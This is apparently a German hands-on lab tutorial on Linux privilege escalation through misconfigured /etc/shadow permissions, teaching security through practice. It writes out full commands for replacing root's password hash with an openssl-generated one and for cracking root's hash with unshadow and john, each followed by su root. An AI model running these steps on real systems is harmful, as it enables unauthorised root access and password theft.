Einführung
Linux-Systeme verlassen sich für die Benutzerauthentifizierung und Zugangskontrolle auf die Dateien /etc/passwd und /etc/shadow. Wenn Systemadministratoren die Berechtigungen oder den Inhalt dieser Dateien fehlerhaft konfigurieren, kann dies Chancen für Privilegierweiterungsangriffe schaffen. In diesem Lab (Übung) lernen Sie, wie Sie die Datei /etc/shadow nutzen können, um Root-Privilegien auf einem Linux-System zu erlangen. Dieses Szenario setzt voraus, dass Sie bereits einen ersten Shell-Zugang mit geringen Rechten als normaler Benutzer erhalten haben.
Die /etc/shadow-Datei verstehen
In diesem Schritt lernen Sie die Struktur und den Zweck der Datei /etc/shadow kennen.
Die Datei /etc/shadow speichert verschlüsselte Passwörter und passwortbezogene Konfigurationsinformationen für jedes Benutzerkonto. Jede Zeile in der Datei repräsentiert einen Benutzer und enthält 9 durch Doppelpunkte getrennte Felder:
- Benutzername
- Verschlüsselter Passwort-Hash
- Anzahl der Tage seit dem Unix-Epoch (1970-01-01), seitdem das Passwort zuletzt geändert wurde
- Mindestanzahl der Tage, die zwischen Passwortänderungen vergehen müssen
- Maximale Anzahl der Tage, für die das Passwort gültig ist
- Anzahl der Tage vor Passwortablauf, um den Benutzer zu warnen
- Anzahl der Tage nach Passwortablauf, bevor das Konto deaktiviert wird
- Anzahl der Tage seit dem Unix-Epoch (1970-01-01), an dem das Konto deaktiviert wird
- Ein reserviertes Feld für zukünftige Verwendung
Öffnen Sie ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project.
cd /home/labex/project
Lassen Sie uns den Eintrag des Benutzers labex in der Datei /etc/shadow überprüfen:
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
Beachten Sie, dass wir sudo verwendet haben, um die Datei /etc/shadow zu lesen. Dies liegt daran, dass die Datei nur vom Root-Benutzer gelesen werden kann.
Überprüfen Sie den Inhalt der Datei labex_shadow.txt:
cat labex_shadow.txt
Beispielausgabe:
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
Diese Zeile zeigt:
- Benutzername:
labex - Verschlüsselter Passwort-Hash:
$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8 - Letzte Passwortänderung: 19818 Tage seit dem Unix-Epoch (1970-01-01)
- Mindestalter des Passworts: 0 Tage (keine Beschränkung)
- Maximales Alter des Passworts: 99999 Tage (kein Ablauf)
- Passwort-Warnzeitraum: 7 Tage vor Ablauf
- Das Konto läuft nie ab
Standardmäßig kann nur der Root-Benutzer die Datei /etc/shadow lesen und ändern. Allerdings können fehlerhaft konfigurierte (misconfigured) Berechtigungen manchmal Chancen für eine Privilegierweiterung bieten.
Privilegien durch Schreibzugriff auf /etc/shadow erhöhen
In diesem Schritt lernen Sie, wie Sie Ihre Privilegien erhöhen können, indem Sie das Root-Passwort in der Datei /etc/shadow ändern, wenn Sie Schreibzugriff darauf haben.
Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis
/home/labex/project:cd /home/labex/projectSie finden in diesem Verzeichnis ein Skript namens
env_setup_1.sh. Führen Sie dieses Skript aus, um die Umgebung einzurichten:./env_setup_1.shDadurch wird die Umgebung eingerichtet und Sie werden zum Benutzer
user001gewechselt, was einen anfänglichen Shell-Zugang mit geringen Rechten simuliert.Navigieren Sie in das Home-Verzeichnis von
user001:cd ~Prüfen Sie als Nächstes die Berechtigungen der Datei
/etc/shadow:ls -alh /etc/shadowBeispielausgabe:
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadowSie sollten feststellen, dass der Benutzer
user001aufgrund einer fehlerhaften Konfiguration (misconfiguration) Schreibzugriff auf die Datei/etc/shadowhat.Jetzt können Sie die Datei
/etc/shadowbearbeiten und den Passwort-Hash des Root-Benutzers durch einen neuen ersetzen.Zeigen Sie zunächst den aktuellen Passwort-Hash des Root-Benutzers an:
cat /etc/shadow | grep rootBeispielausgabe:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Um ein neues Passwort (z.B.
pass123) festzulegen, generieren Sie einen neuen Passwort-Hash mit demopenssl-Tool:openssl passwd -1 -salt ignite pass123Beispielausgabe:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1Öffnen Sie die Datei
/etc/shadowin einem Texteditor und ersetzen Sie den Passwort-Hash des Root-Benutzers durch den neuen.nano /etc/shadowSuchen Sie den Passwort-Hash des Root-Benutzers:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Ersetzen Sie den Passwort-Hash durch den neuen:
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::Speichern Sie die Änderungen und verlassen Sie den Editor.
Verwenden Sie schließlich den Befehl
su root, um zum Root-Benutzer zu wechseln, und geben Sie bei entsprechender Aufforderung das neue Passwortpass123ein.su root
Sie sollten nun Root-Privilegien auf dem System haben.
Privilegien durch Lesezugriff auf /etc/shadow erhöhen
In diesem Schritt lernen Sie, wie Sie Ihre Privilegien erhöhen können, indem Sie den Passwort-Hash des Root-Benutzers knacken, wenn Sie nur Lesezugriff auf die Datei /etc/shadow haben.
Nach dem letzten Schritt sollten Sie als Root-Benutzer angemeldet sein. Sie können ein neues Terminal öffnen oder den Befehl exit verwenden, um sich aus dem aktuellen Benutzerkonto abzumelden, bis Sie wieder als Benutzer labex angemeldet sind.
Wenn Sie als Benutzer
labexangemeldet sind, navigieren Sie in das Verzeichnis/home/labex/project:cd /home/labex/projectFühren Sie das Skript
env_setup_2.shaus, um die Umgebung einzurichten:./env_setup_2.shDadurch wird eine neue Umgebung eingerichtet, in der der Benutzer
user001Lesezugriff auf die Datei/etc/shadowhat.Navigieren Sie in das Home-Verzeichnis von
user001:cd ~Überprüfen Sie die Berechtigungen der Datei
/etc/shadow:ls -alh /etc/shadowBeispielausgabe:
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadowSie sollten feststellen, dass der Benutzer
user001aufgrund einer fehlerhaften Konfiguration (misconfiguration) Lesezugriff auf die Datei/etc/shadowhat.Als Nächstes können wir das Tool
johnverwenden, um den Passwort-Hash des Root-Benutzers zu knacken. Bevor Siejohnverwenden, müssen Sie die Inhalte der Dateien/etc/passwdund/etc/shadowmit dem Befehlunshadowkombinieren:unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txtFühren Sie jetzt
johnauf der Dateishadow_crack.txtaus, um den Passwort-Hash des Root-Benutzers zu knacken, und speichern Sie die geknackten Passwörter in einer Datei:john --users=root shadow_crack.txt > cracked_passwords.txtÜberprüfen Sie den Inhalt der Datei
cracked_passwords.txt, um das geknackte Passwort anzuzeigen:Loaded 1 password hash (md5crypt [MD5 32/64 X2]) study (root)Verwenden Sie schließlich den Befehl
su root, um zum Root-Benutzer zu wechseln, und geben Sie bei entsprechender Aufforderung das geknackte Passwortstudyein:su root
Sie sollten nun Root-Privilegien auf dem System haben.
Zusammenfassung
In diesem Lab (Übung) haben Sie die Struktur und den Zweck der Datei /etc/shadow kennengelernt, sowie zwei Methoden, wie Sie diese Datei nutzen können, um Ihre Privilegien zu erhöhen: Entweder indem Sie mit Schreibzugriff den Passwort-Hash des Root-Benutzers ändern oder indem Sie mit Lesezugriff den Passwort-Hash des Root-Benutzers knacken. Diese Techniken zeigen die Wichtigkeit einer korrekten Konfiguration von Dateiberechtigungen und des Schutzes sensibler Systemdateien in einer Linux-Umgebung.